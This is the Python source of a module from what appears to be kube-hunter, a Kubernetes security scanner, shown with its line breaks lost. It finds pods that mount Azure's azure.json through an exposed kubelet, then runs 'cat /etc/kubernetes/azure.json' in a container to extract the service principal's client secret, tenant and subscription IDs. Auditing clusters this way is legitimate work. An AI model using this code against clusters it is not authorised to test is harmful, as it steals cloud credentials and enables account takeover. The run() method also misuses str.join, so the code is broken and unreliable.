import json import logging import requests from kube_hunter.conf import get_config from kube_hunter.modules.hunting.kubelet import ExposedRunHandler from kube_hunter.core.events import handler from kube_hunter.core.events.types import Event, Vulnerability from kube_hunter.core.types import Hunter, ActiveHunter, IdentityTheft, Azure logger = logging.getLogger(__name__) class AzureSpnExposure(Vulnerability, Event): """The SPN is exposed, potentially allowing an attacker to gain access to the Azure subscription""" def __init__(self, container): Vulnerability.__init__( self, Azure, "Azure SPN Exposure", category=IdentityTheft, vid="KHV004", ) self.container = container @handler.subscribe(ExposedRunHandler, predicate=lambda x: x.cloud == "Azure") class AzureSpnHunter(Hunter): """AKS Hunting Hunting Azure cluster deployments using specific known configurations """ def __init__(self, event): self.event = event self.base_url = f"https://{self.event.host}:{self.event.port}" # getting a container that has access to the azure.json file def get_key_container(self): config = get_config() endpoint = f"{self.base_url}/pods" logger.debug("Trying to find container with access to azure.json file") try: r = requests.get(endpoint, verify=False, timeout=config.network_timeout) except requests.Timeout: logger.debug("failed getting pod info") else: pods_data = r.json().get("items", []) suspicious_volume_names = [] for pod_data in pods_data: for volume in pod_data["spec"].get("volumes", []): if volume.get("hostPath"): path = volume["hostPath"]["path"] if "/etc/kubernetes/azure.json".startswith(path): suspicious_volume_names.append(volume["name"]) for container in pod_data["spec"]["containers"]: for mount in container.get("volumeMounts", []): if mount["name"] in suspicious_volume_names: return { "name": container["name"], "pod": pod_data["metadata"]["name"], "namespace": pod_data["metadata"]["namespace"], } def execute(self): container = self.get_key_container() if container: self.publish_event(AzureSpnExposure(container=container)) @handler.subscribe(AzureSpnExposure) class ProveAzureSpnExposure(ActiveHunter): """Azure SPN Hunter Gets the azure subscription file on the host by executing inside a container """ def __init__(self, event): self.event = event self.base_url = f"https://{self.event.host}:{self.event.port}" def run(self, command, container): config = get_config() run_url = "/".join(self.base_url, "run", container["namespace"], container["pod"], container["name"]) return requests.post(run_url, verify=False, params={"cmd": command}, timeout=config.network_timeout) def execute(self): try: subscription = self.run("cat /etc/kubernetes/azure.json", container=self.event.container).json() except requests.Timeout: logger.debug("failed to run command in container", exc_info=True) except json.decoder.JSONDecodeError: logger.warning("failed to parse SPN") else: if "subscriptionId" in subscription: self.event.subscriptionId = subscription["subscriptionId"] self.event.aadClientId = subscription["aadClientId"] self.event.aadClientSecret = subscription["aadClientSecret"] self.event.tenantId = subscription["tenantId"] self.event.evidence = f"subscription: {self.event.subscriptionId}"